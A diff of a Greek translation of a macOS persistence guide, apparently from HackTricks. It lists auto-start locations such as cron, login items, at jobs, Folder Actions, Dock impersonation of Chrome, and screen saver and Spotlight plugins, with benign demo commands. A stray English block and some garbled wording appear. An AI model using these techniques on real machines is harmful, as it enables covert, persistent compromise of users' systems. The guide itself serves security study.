* Πρέπει να μπορείτε να εκτελέσετε κάτι σαν `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* Βρίσκεται στο `~/Library/Preferences/com.apple.loginwindow.plist`
Είναι απαρχαιωμένες αλλά μπορούν να χρησιμοποιηθούν για να εκτελέσετε εντολές όταν ένας χρήστης συνδέεται.
@ -397,7 +400,7 @@ defaults delete com.apple.loginwindow LogoutHook
## Παράκαμψη Συνθηκών Αμμοθεράπειας
{% hint style="success" %}
Εδώ μπορείτε να βρείτε τις τοποθεσίες εκκίνησης που είναι χρήσιμες για την **παράκαμψη της αμμοθεράπειας** που σας επιτρέπει να απλά εκτελέσετε κάτι **γράφοντάς το σε ένα αρχείο** και **περιμένοντας μη πολύ συνηθισμένες συνθήκες** όπως συγκεκριμένα **εγκατεστημένα προγράμματα, "ασυνήθιστες" ενέργειες χρήστη** ή περιβάλλοντα.
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη της αμμοθεράπειας** που σας επιτρέπει να εκτελέσετε απλά κάτι **γράφοντάς το σε ένα αρχείο** και **περιμένοντας μη τόσο κοινές συνθήκες** όπως συγκεκριμένα **εγκατεστημένα προγράμματα, "ασυνήθιστες" ενέργειες χρήστη** ή περιβάλλοντα.
{% endhint %}
### Χρονοδιάγραμμα (Cron)
@ -417,7 +420,7 @@ defaults delete com.apple.loginwindow LogoutHook
#### Περιγραφή & Εκμετάλλευση
Καταχωρήστε τις εργασίες του χρονοδιαγράμματος του **τρέχοντος χρήστη** με:
Καταχωρίστε τις εργασίες του χρονοδιαγράμματος του **τρέχοντος χρήστη** με:
```bash
crontab -l
```
@ -428,9 +431,9 @@ crontab -l
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
Εκεί μπορείτε να βρείτε τις κανονικές **εργασίες cron**, τις **εργασίες at** (που δε χρησιμοποιούνται πολύ) και τις **περιοδικές εργασίες** (χρησιμοποιούνται κυρίως για τον καθαρισμό προσωρινών αρχείων). Οι καθημερινές περιοδικές εργασίες μπορούν να εκτελεστούν για παράδειγμα με: `periodic daily`.
Εκεί μπορείτε να βρείτε τις κανονικές **εργασίες cron**, τις **εργασίες at** (που δε χρησιμοποιούνται πολύ) και τις **περιοδικές εργασίες** (χρησιμοποιούνται κυρίως για τον καθαρισμό προσωρινών αρχείων). Οι ημερήσιες περιοδικές εργασίες μπορούν να εκτελεστούν για παράδειγμα με: `periodic daily`.
Για να προσθέσετε μια **εργασία cron χρήστη προγραμματιστικά** είναι δυνατόν να χρησιμοποιήσετε:
Για να προσθέσετε μια **εργασία cron χρήστη προγραμματικά** είναι δυνατόν να χρησιμοποιήσετε:
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
@ -463,25 +466,15 @@ EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
```markdown
## macOS Auto Start Locations
### macOS Auto Start Locations
### Launch Agents
#### Launch Agents
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
### Launch Daemons
#### Launch Daemons
Launch Daemons are used to run processes at system boot or login. They are stored in `/Library/LaunchDaemons/`.
### Login Items
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
### Startup Items
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
```
Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -553,7 +546,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
#### Περιγραφή
Αν το δημοφιλές πρόγραμμα [**xbar**](https://github.com/matryer/xbar) είναι εγκατεστημένο, είναι δυνατόν να γραφτεί ένα shell script στο **`~/Library/Application\ Support/xbar/plugins/`** το οποίο θα εκτελείται όταν ξεκινάει το xbar:
Αν το δημοφιλές πρόγραμμα [**xbar**](https://github.com/matryer/xbar) είναι εγκατεστημένο, είναι δυνατόν να γραφτεί ένα shell script στο **`~/Library/Application\ Support/xbar/plugins/`** το οποίο θα εκτελείται όταν ξεκινά το xbar:
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
@ -577,7 +570,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
#### Περιγραφή
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) λειτουργεί ως πλατφόρμα αυτοματισμού για το **macOS**, εκμεταλλευόμενο τη γλώσσα σεναρίων **LUA** για τις λειτουργίες του. Ειδικότερα, υποστηρίζει την ολοκλήρωση πλήρους κώδικα AppleScript και την εκτέλεση κελιών εντολών, βελτιώνοντας σημαντικά τις δυνατότητες σεναριογραφίας του.
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) λειτουργεί ως πλατφόρμα αυτοματισμού για το **macOS**, εκμεταλλευόμενο τη γλώσσα σεναρίων **LUA** για τις λειτουργίες του. Είναι σημαντικό να σημειωθεί ότι υποστηρίζει την ολοκλήρωση πλήρους κώδικα AppleScript και την εκτέλεση κελιών εντολών, βελτιώνοντας σημαντικά τις δυνατότητες σεναριογραφίας του.
Η εφαρμογή αναζητά ένα μόνο αρχείο, `~/.hammerspoon/init.lua`, και όταν ξεκινάει, το σενάριο θα εκτελεστεί.
```bash
@ -591,26 +584,26 @@ EOF
* Χρήσιμο για παράκαμψη του sandbox: [](https://emojipedia.org/check-mark-button)
* Αλλά το BetterTouchTool πρέπει να είναι εγκατεστημένο
* TCC παράκαμψη: [](https://emojipedia.org/check-mark-button)
* Ζητά δικαιώματα Αυτοματισμού-Συντομεύσεων και Προσβασιμότητας
* Ζητά δικαιώματα Automation-Shortcuts και Accessibility
#### Τοποθεσία
* `~/Library/Application Support/BetterTouchTool/*`
Αυτό το εργαλείο επιτρέπει να υποδείξετε εφαρμογές ή scripts προς εκτέλεση όταν πατιούνται κάποιες συντομεύσεις. Ένας επιτιθέμενος μπορεί να διαμορφώσει τη δική του **συντόμευση και ενέργεια για εκτέλεση στη βάση δεδομένων** για να το κάνει να εκτελεί αυθαίρετο κώδικα (μια συντόμευση θα μπορούσε απλά να είναι το πάτημα ενός πλήκτρου).
Αυτό το εργαλείο επιτρέπει να υποδείξετε εφαρμογές ή scripts προς εκτέλεση όταν πατιούνται κάποια συντομεύσεις πληκτρολογίου. Ένας επιτιθέμενος θα μπορούσε να διαμορφώσει τη δική του συντόμευση και ενέργεια προς εκτέλεση στη βάση δεδομένων για να εκτελέσει αυθαίρετο κώδικα (μια συντόμευση θα μπορούσε απλά να είναι το πάτημα ενός πλήκτρου).
### Alfred
* Χρήσιμο για παράκαμψη του sandbox: [](https://emojipedia.org/check-mark-button)
* Αλλά το Alfred πρέπει να είναι εγκατεστημένο
* TCC παράκαμψη: [](https://emojipedia.org/check-mark-button)
* Ζητά δικαιώματα Αυτοματισμού, Προσβασιμότητας και ακόμα και πρόσβαση σε ολόκληρο το δίσκο
* Ζητά δικαιώματα Automation, Accessibility και ακόμα πρόσβαση στον πλήρη δίσκο
#### Τοποθεσία
* `???`
Επιτρέπει τη δημιουργία ροών εργασίας που μπορούν να εκτελέσουν κώδικα όταν πληρούνται συγκεκριμένες συνθήκες. Ενδεχομένως είναι δυνατόν για έναν επιτιθέμενο να δημιουργήσει ένα αρχείο ροής εργασίας και να κάνει το Alfred να το φορτώσει (χρειάζεται να πληρώσετε την premium έκδοση για να χρησιμοποιήσετε ροές εργασίας).
Επιτρέπει τη δημιουργία ροών εργασίας που μπορούν να εκτελέσουν κώδικα όταν πληρούνται συγκεκριμένες συνθήκες. Ενδεχομένως είναι δυνατό για έναν επιτιθέμενο να δημιουργήσει ένα αρχείο ροής εργασίας και να κάνει το Alfred να το φορτώσει (απαιτείται η πληρωμή της premium έκδοσης για τη χρήση ροών εργασίας).
### SSHRC
@ -619,18 +612,18 @@ EOF
* Χρήσιμο για παράκαμψη του sandbox: [](https://emojipedia.org/check-mark-button)
* Αλλά το ssh πρέπει να είναι ενεργοποιημένο και να χρησιμοποιείται
* TCC παράκαμψη: [](https://emojipedia.org/check-mark-button)
* Το SSH χρησιμοποιείται για πρόσβαση σε ολόκληρο το δίσκο
* Το SSH χρησιμοποιείται για πρόσβαση στον πλήρη δίσκο
#### Τοποθεσία
* **`~/.ssh/rc`**
* **Ενεργοποίηση**: Σύνδεση μέσω ssh
* **Συντονισμός**: Σύνδεση μέσω ssh
* **`/etc/ssh/sshrc`**
* Απαιτείται δικαιώματα ριζοσυστήματος
* **Ενεργοποίηση**: Σύνδεση μέσω ssh
* Απαιτεί δικαιώματα ριζοσυστήματος
* **Συντονισμός**: Σύνδεση μέσω ssh
{% hint style="danger" %}
Για να ενεργοποιήσετε το ssh απαιτείται πρόσβαση σε ολόκληρο το δίσκο:
Για να ενεργοποιήσετε το ssh απαιτείται Πρόσβαση στον Πλήρη Δίσκο:
```bash
sudo systemsetup -setremotelogin on
```
@ -638,7 +631,7 @@ sudo systemsetup -setremotelogin on
#### Περιγραφή & Εκμετάλλευση
Από προεπιλογή, εκτός αν το `PermitUserRC no` στο `/etc/ssh/sshd_config`, όταν ένας χρήστης **συνδέεται μέσω SSH** τα scripts **`/etc/ssh/sshrc`** και **`~/.ssh/rc`** θα εκτελεστούν.
Από προεπιλογή, εκτός αν `PermitUserRC no` στο `/etc/ssh/sshd_config`, όταν ένας χρήστης **συνδέεται μέσω SSH** τα scripts **`/etc/ssh/sshrc`** και **`~/.ssh/rc`** θα εκτελεστούν.
### **Στοιχεία Σύνδεσης**
@ -675,15 +668,15 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
**Τα στοιχεία σύνδεσης** μπορούν επίσης να υποδειχθούν χρησιμοποιώντας το API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) το οποίο θα αποθηκεύσει τη διαμόρφωση στο **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
### ZIP ως Στοιχείο Σύνδεσης
### ZIP ως στοιχείο σύνδεσης
(Ελέγξτε την προηγούμενη ενότητα σχετικά με τα Στοιχεία Σύνδεσης, αυτή είναι μια επέκταση)
Εάν αποθηκεύσετε ένα αρχείο **ZIP** ως ένα **Στοιχείο Σύνδεσης**, το **`Archive Utility`** θα το ανοίξει και αν το zip ήταν για παράδειγμα αποθηκευμένο στο **`~/Library`** και περιείχε τον Φάκελο **`LaunchAgents/file.plist`** με ένα backdoor, αυτός ο φάκελος θα δημιουργηθεί (δεν υπάρχει από προεπιλογή) και το plist θα προστεθεί έτσι την επόμενη φορά που ο χρήστης θα συνδεθεί ξανά, το **backdoor που υποδεικνύεται στο plist θα εκτελεστεί**.
Εάν αποθηκεύσετε ένα αρχείο **ZIP** ως ένα **Στοιχείο Σύνδεσης**, το **`Archive Utility`** θα το ανοίξει και αν το zip ήταν για παράδειγμα αποθηκευμένο στο **`~/Library`** και περιείχε τον Φάκελο **`LaunchAgents/file.plist`** με ένα backdoor, αυτός ο φάκελος θα δημιουργηθεί (δεν υπάρχει προεπιλεγμένα) και το plist θα προστεθεί έτσι την επόμενη φορά που ο χρήστης θα συνδεθεί ξανά, το **backdoor που υποδεικνύεται στο plist θα εκτελεστεί**.
Μια άλλη επιλογή θα ήταν να δημιουργήσετε τα αρχεία **`.bash_profile`** και **`.zshenv`** μέσα στον φάκελο χρήστη HOME έτσι αν ο φάκελος LaunchAgents υπάρχει ήδη αυτή η τεχνική θα λειτουργούσε ακόμα.
### At
### Στο
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
@ -697,9 +690,9 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
#### **Περιγραφή**
Τα tasks του `at` σχεδιάστηκαν για το **προγραμματισμό μονοφορημένων εργασιών** που θα εκτελούνται σε συγκεκριμένες χρονικές στιγμές. Αντίθετα με τις εργασίες cron, οι εργασίες του `at` αφαιρούνται αυτόματα μετά την εκτέλεσή τους. Είναι κρίσιμο να σημειωθεί ότι αυτές οι εργασίες είναι μόνιμες μεταξύ επανεκκινήσεων του συστήματος, κάτι που τις καθιστά πιθανές πηγές ανησυχίας ασφάλειας υπό συγκεκριμένες συνθήκες.
Τα tasks του `at` σχεδιάστηκαν για το **προγραμματισμό μιας φοράς** για να εκτελεστούν σε συγκεκριμένες χρονικές στιγμές. Αντίθετα με τα cron jobs, τα tasks του `at` αφαιρούνται αυτόματα μετά την εκτέλεση. Είναι κρίσιμο να σημειωθεί ότι αυτά τα tasks είναι μόνιμα μεταξύ επανεκκινήσεων του συστήματος, κάτι που τα καθιστά πιθανές ανησυχίες ασφαλείας υπό συγκεκριμένες συνθήκες.
Από προεπιλογή είναι **απενεργοποιημένες** αλλά ο χρήστης **root** μπορεί να τις **ενεργοποιήσει** με:
Από προεπιλογή είναι **απενεργοποιημένα** αλλά ο χρήστης **root** μπορεί να τα **ενεργοποιήσει** με:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
@ -745,7 +738,7 @@ unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
Αν οι εργασίες AT δεν είναι ενεργοποιημένες, οι δημιουργημένες εργασίες δεν θα εκτελεστούν.
Αν οι εργασίες του AT δεν είναι ενεργοποιημένες, οι δημιουργημένες εργασίες δεν θα εκτελεστούν.
{% endhint %}
Τα **αρχεία εργασίας** μπορούν να βρεθούν στο `/private/var/at/jobs/`
@ -757,11 +750,11 @@ total 32
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
Το όνομα αρχείου περιέχει την ουρά, τον αριθμό εργασίας και την ώρα που προγραμματίζεται να τρέξει. Για παράδειγμα ας δούμε το `a0001a019bdcd2`.
Το όνομα αρχείου περιέχει την ουρά, τον αριθμό της εργασίας και την ώρα που είναι προγραμματισμένο να τρέξει. Για παράδειγμα, ας δούμε το `a0001a019bdcd2`.
* `a` - αυτή είναι η ουρά
* `0001a` - αριθμός εργασίας σε δεκαεξαδική μορφή, `0x1a = 26`
* `019bdcd2` - ώρα σε δεκαεξαδική μορφή. Αντιπροσωπεύει τα λεπτά που έχουν περάσει από την εποχή. Το `0x019bdcd2` είναι `26991826` σε δεκαδική μορφή. Αν το πολλαπλασιάσουμε με 60 παίρνουμε `1619509560`, που είναι `GMT: 2021. Απρίλιος 27., Τρίτη 7:46:00`.
* `019bdcd2` - ώρα σε δεκαεξαδική μορφή. Αντιπροσωπεύει τα λεπτά που έχουν περάσει από την εποχή. Το `0x019bdcd2` είναι `26991826` σε δεκαδική μορφή. Αν το πολλαπλασιάσουμε με 60 παίρνουμε `1619509560`, το οποίο είναι `GMT: 2021. Απρίλιος 27, Τρίτη 7:46:00`.
Αν εκτυπώσουμε το αρχείο εργασίας, θα δούμε ότι περιέχει τις ίδιες πληροφορίες που πήραμε χρησιμοποιώντας το `at -c`.
@ -787,11 +780,11 @@ total 32
Οι Ενέργειες Φακέλου είναι σενάρια που ενεργοποιούνται αυτόματα από αλλαγές σε έναν φάκελο, όπως προσθήκη, αφαίρεση στοιχείων, ή άλλες ενέργειες όπως το άνοιγμα ή η αλλαγή μεγέθους του παραθύρου του φακέλου. Αυτές οι ενέργειες μπορούν να χρησιμοποιηθούν για διάφορες εργασίες και μπορούν να ενεργοποιηθούν με διαφορετικούς τρόπους όπως χρησιμοποιώντας το UI του Finder ή εντολές τερματικού.
Για τη ρύθμιση Ενεργειών Φακέλου, έχετε επιλογές όπως:
Για τη ρύθμιση των Ενεργειών Φακέλου, έχετε επιλογές όπως:
1. Δημιουργία ενός ροής εργασίας Φακέλου με το [Automator](https://support.apple.com/guide/automator/welcome/mac) και εγκατάστασή του ως υπηρεσία.
2. Επισύναψη ενός σεναρίου χειροκίνητα μέσω της Ρύθμισης Ενεργειών Φακέλου στο μενού περιβάλλοντος ενός φακέλου.
3. Χρήση του OSAScript για να στείλετε μηνύματα Apple Event στο `System Events.app` για την ρύθμιση προγραμματιστικά μιας Ενέργειας Φακέλου.
3. Χρήση του OSAScript για να στείλετε μηνύματα Apple Event στο `System Events.app` για τη ρύθμιση προγραμματιστικά μιας Ενέργειας Φακέλου.
* Αυτή η μέθοδος είναι ιδιαίτερα χρήσιμη για την ενσωμάτωση της ενέργειας στο σύστημα, προσφέροντας ένα επίπεδο διατήρησης.
Το παρακάτω σενάριο είναι ένα παράδειγμα του τι μπορεί να εκτελεστεί από μια Ενέργεια Φακέλου:
@ -808,7 +801,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
Αφού το σενάριο μεταγλωττιστεί, εγκαταστήστε τις Δράσεις Φακέλου εκτελώντας το παρακάτω σενάριο. Αυτό το σενάριο θα ενεργοποιήσει τις Δράσεις Φακέλου γενικά και θα συνδέσει ειδικά το προηγουμένως μεταγλωττισμένο σενάριο στον φάκελο της επιφάνειας εργασίας.
Αφού το σενάριο μεταγλωττιστεί, εγκαταστήστε τις Δράσεις Φακέλου εκτελώντας το παρακάτω σενάριο. Αυτό το σενάριο θα ενεργοποιήσει τις Δράσεις Φακέλου παγκοσμίως και θα συνδέσει ειδικά το προηγουμένως μεταγλωττισμένο σενάριο στον φάκελο της επιφάνειας εργασίας.
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events");
@ -822,7 +815,7 @@ fa.scripts.push(myScript);
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
* Αυτή είναι η διαδικασία για την υλοποίηση αυτής της επιμονής μέσω GUI:
* Αυτή είναι η διαδικασία για την υλοποίηση αυτής της διαρκούς λειτουργίας μέσω GUI:
Αυτός είναι ο κώδικας που θα εκτελεστεί:
@ -852,7 +845,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Αυτή η ρύθμιση αποθηκεύτηκε στο **plist** που βρίσκεται στο **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** σε μορφή base64.
Τώρα, ας προσπαθήσουμε να προετοιμάσουμε αυτήν την επιμονή χωρίς πρόσβαση στο γραφικό περιβάλλον:
Τώρα, ας προσπαθήσουμε να προετοιμάσουμε αυτήν την διαρκήτητα χωρίς πρόσβαση στο γραφικό περιβάλλον:
1. **Αντιγράψτε το `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** στο `/tmp` για αντίγραφο ασφαλείας:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
@ -862,7 +855,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Τώρα που έχουμε ένα κενό περιβάλλον
3. Αντιγράψτε το αρχείο αντιγράφου ασφαλείας: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
3. Αντιγράψτε το αρχείο αντιγράφου: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Ανοίξτε την εφαρμογή Folder Actions Setup για να χρησιμοποιήσετε αυτήν τη ρύθμιση: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
@ -880,7 +873,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
#### Τοποθεσία
* `~/Library/Preferences/com.apple.dock.plist`
* **Ενέργεια ενεργοποίησης**: Όταν ο χρήστης κάνει κλικ στην εφαρμογή μέσα στο dock
* **Σήμανση**: Όταν ο χρήστης κάνει κλικ στην εφαρμογή μέσα στο dock
#### Περιγραφή & Εκμετάλλευση
@ -896,7 +889,7 @@ killall Dock
```
{% endcode %}
Χρησιμοποιώντας κάποια **κοινωνική μηχανική** μπορείτε να **προσωποποιήσετε για παράδειγμα το Google Chrome** μέσα στη γραμμή εργασιών και να εκτελέσετε πραγματικά το δικό σας σενάριο:
Χρησιμοποιώντας κάποια **κοινωνική μηχανική** μπορείτε να **προσωποποιήσετε για παράδειγμα το Google Chrome** μέσα στη γραμμή του dock και να εκτελέσετε πραγματικά το δικό σας script:
```bash
#!/bin/sh
@ -962,13 +955,13 @@ killall Dock
* `/Library/ColorPickers`
* Απαιτείται δικαιώματα ρίζας
* Ενεργοποίηση: Χρησιμοποιήστε τον επιλογέα χρωμάτων
* Ενεργοποίηση: Χρήση του επιλογέα χρωμάτων
* `~/Library/ColorPickers`
* Ενεργοποίηση: Χρησιμοποιήστε τον επιλογέα χρωμάτων
* Ενεργοποίηση: Χρήση του επιλογέα χρωμάτων
#### Περιγραφή & Εκμετάλλευση
**Συνθέστε ένα δέσμη επιλογέα χρωμάτων** με τον κώδικά σας (μπορείτε να χρησιμοποιήσετε [**αυτόν για παράδειγμα**](https://github.com/viktorstrate/color-picker-plus)) και προσθέστε έναν κατασκευαστή (όπως στην ενότητα [Οθόνης Προστασίας](macos-auto-start-locations.md#screen-saver)) και αντιγράψτε τη δέσμη στο `~/Library/ColorPickers`.
**Συνθέστε ένα δέσμη επιλογέα χρωμάτων** με τον κώδικά σας (μπορείτε να χρησιμοποιήσετε [**αυτόν για παράδειγμα**](https://github.com/viktorstrate/color-picker-plus)) και προσθέστε έναν κατασκευαστή (όπως στην [ενότητα οθόνης προστασίας](macos-auto-start-locations.md#screen-saver)) και αντιγράψτε τη δέσμη στον φάκελο `~/Library/ColorPickers`.
Έπειτα, όταν ενεργοποιηθεί ο επιλογέας χρωμάτων, θα πρέπει να ενεργοποιηθεί και το δικό σας.
@ -1030,7 +1023,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
Δημιουργήστε ένα νέο έργο στο Xcode και επιλέξτε το πρότυπο για τη δημιουργία ενός νέου **Screen Saver**. Στη συνέχεια, προσθέστε τον κώδικά σας, για παράδειγμα τον παρακάτω κώδικα για τη δημιουργία καταγραφών.
**Κάντε Build**, και αντιγράψτε το δέμα `.saver` στο **`~/Library/Screen Savers`**. Στη συνέχεια, ανοίξτε το GUI του Screen Saver και αν απλά κάνετε κλικ πάνω του, θα πρέπει να δημιουργηθούν πολλές καταγραφές:
**Κάντε Build**, και αντιγράψτε το πακέτο `.saver` στο **`~/Library/Screen Savers`**. Στη συνέχεια, ανοίξτε το GUI του Screen Saver και αν απλά κάνετε κλικ πάνω του, θα πρέπει να δημιουργηθούν πολλές καταγραφές:
{% code overflow="wrap" %}
```bash
@ -1117,23 +1110,23 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Χρήσιμα για να παρακάμψετε το sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά θα βρεθείτε σε ένα sandbox εφαρμογής
* Παράβλεψη TCC: [🔴](https://emojipedia.org/large-red-circle)
* Χρήσιμα για παράκαμψη του sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά θα καταλήξετε σε ένα sandbox εφαρμογής
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
* Το sandbox φαίνεται πολύ περιορισμένο
#### Τοποθεσία
* `~/Library/Spotlight/`
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του Spotlight.
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
* `/Library/Spotlight/`
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του Spotlight.
* Απαιτείται δικαιώματα ριζοσυστήματος
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
* Απαιτείται δικαιώματα ριζού
* `/System/Library/Spotlight/`
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του Spotlight.
* Απαιτείται δικαιώματα ριζοσυστήματος
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
* Απαιτείται δικαιώματα ριζού
* `Some.app/Contents/Library/Spotlight/`
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του Spotlight.
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
* Απαιτείται νέα εφαρμογή
#### Περιγραφή & Εκμετάλλευση
@ -1141,9 +1134,9 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
Το Spotlight είναι η ενσωματωμένη λειτουργία αναζήτησης του macOS, σχεδιασμένη για να παρέχει στους χρήστες **γρήγορη και ολοκληρωμένη πρόσβαση στα δεδομένα στους υπολογιστές τους**.\
Για να διευκολύνει αυτήν τη γρήγορη δυνατότητα αναζήτησης, το Spotlight διατηρεί μια **ιδιόκτητη βάση δεδομένων** και δημιουργεί έναν δείκτη με το **ανάλυση των περισσότερων αρχείων**, επιτρέποντας γρήγορες αναζητήσεις τόσο με βάση τα ονόματα αρχείων όσο και το περιεχόμενό τους.
Η βασική μηχανική του Spotlight περιλαμβάνει ένα κεντρικό διεργασία με το όνομα 'mds', που σημαίνει **'metadata server'**. Αυτή η διαδικασία οργανώνει ολόκληρη την υπηρεσία Spotlight. Συμπληρώνοντας αυτό, υπάρχουν πολλοί δαίμονες 'mdworker' που εκτελούν διάφορες εργασίες συντήρησης, όπως ευρετήριαση διαφορετικών τύπων αρχείων (`ps -ef | grep mdworker`). Αυτές οι εργασίες γίνονται δυνατές μέσω των πρόσθετων εισαγωγέων Spotlight, ή **".mdimporter bundles"**, που επιτρέπουν στο Spotlight να κατανοήσει και να ευρετηριάσει περιεχόμενο σε μια ποικιλία μορφών αρχείων.
Η βασική μηχανή του Spotlight περιλαμβάνει ένα κεντρικό διαδικασία με την ονομασία 'mds', που σημαίνει **'metadata server'**. Αυτή η διαδικασία οργανώνει ολόκληρη την υπηρεσία Spotlight. Συμπληρωματικά, υπάρχουν πολλοί δαίμονες 'mdworker' που εκτελούν διάφορες εργασίες συντήρησης, όπως ευρετήριση διαφορετικών τύπων αρχείων (`ps -ef | grep mdworker`). Αυτές οι εργασίες γίνονται δυνατές μέσω των πρόσθετων εισαγωγέων Spotlight, ή **".mdimporter bundles"**, που επιτρέπουν στο Spotlight να κατανοήσει και να ευρετηριάσει περιεχόμενο σε μια ποικιλία μορφών αρχείων.
Τα πρόσθετα ή **`.mdimporter`** bundles βρίσκονται στις προηγουμένως αναφερθείσες τοποθεσίες και αν εμφανιστεί ένα νέο bundle, φορτώνεται μέσα σε λίγα λεπτά (χωρίς την ανάγκη επανεκκίνησης κάποιας υπηρεσίας). Αυτά τα bundles πρέπει να υποδεικνύουν ποιους **τύπους αρχείων και επεκτάσεις μπορούν να διαχειριστούν**, με αυτόν τον τρόπο, το Spotlight θα τα χρησιμοποιήσει όταν δημιουργηθεί ένα νέο αρχείο με την υποδειγμένη επέκταση.
Τα πρόσθετα ή **`.mdimporter`** bundles βρίσκονται στις προηγουμένως αναφερθείσες τοποθεσίες και αν εμφανιστεί ένα νέο bundle, φορτώνεται μέσα σε λίγα λεπτά (χωρίς την ανάγκη επανεκκίνησης οποιασδήποτε υπηρεσίας). Αυτά τα bundles πρέπει να υποδεικνύουν ποιους **τύπους αρχείων και επεκτάσεις μπορούν να διαχειριστούν**, με αυτόν τον τρόπο, το Spotlight θα τα χρησιμοποιήσει όταν δημιουργηθεί ένα νέο αρχείο με την υποδειγμένη επέκταση.
Είναι δυνατόν να **βρείτε όλους τους `mdimporters`** που φορτώνονται τρέχοντας:
```bash
@ -1191,15 +1184,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
```
{% hint style="danger" %}
Εάν ελέγξετε το Plist άλλου `mdimporter` ενδέχεται να μη βρείτε την καταχώρηση **`UTTypeConformsTo`**. Αυτό συμβαίνει επειδή πρόκειται για ενσωματωμένο _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) και δεν χρειάζεται να καθορίσει επεκτάσεις.
Εάν ελέγξετε το Plist άλλου `mdimporter` ενδέχεται να μη βρείτε την καταχώρηση **`UTTypeConformsTo`**. Αυτό συμβαίνει επειδή πρόκειται για ενσωματωμένο _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) και δεν χρειάζεται να καθορίζει επεκτάσεις.
Επιπλέον, τα προεπιλεγμένα πρόσθετα του συστήματος έχουν πάντα προτεραιότητα, έτσι ένας επιτιθέμενος μπορεί να έχει πρόσβαση μόνο σε αρχεία που δεν είναι διαφορετικά ευρετηριασμένα από τους ίδιους της Apple `mdimporters`.
{% endhint %}
Για να δημιουργήσετε το δικό σας εισαγωγέα μπορείτε να ξεκινήσετε με αυτό το έργο: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) και στη συνέχεια να αλλάξετε το όνομα, το **`CFBundleDocumentTypes`** και να προσθέσετε **`UTImportedTypeDeclarations`** ώστε να υποστηρίζει την επέκταση που θέλετε να υποστηρίξετε και να τα αντικατοπτρίσετε στο **`schema.xml`**.\
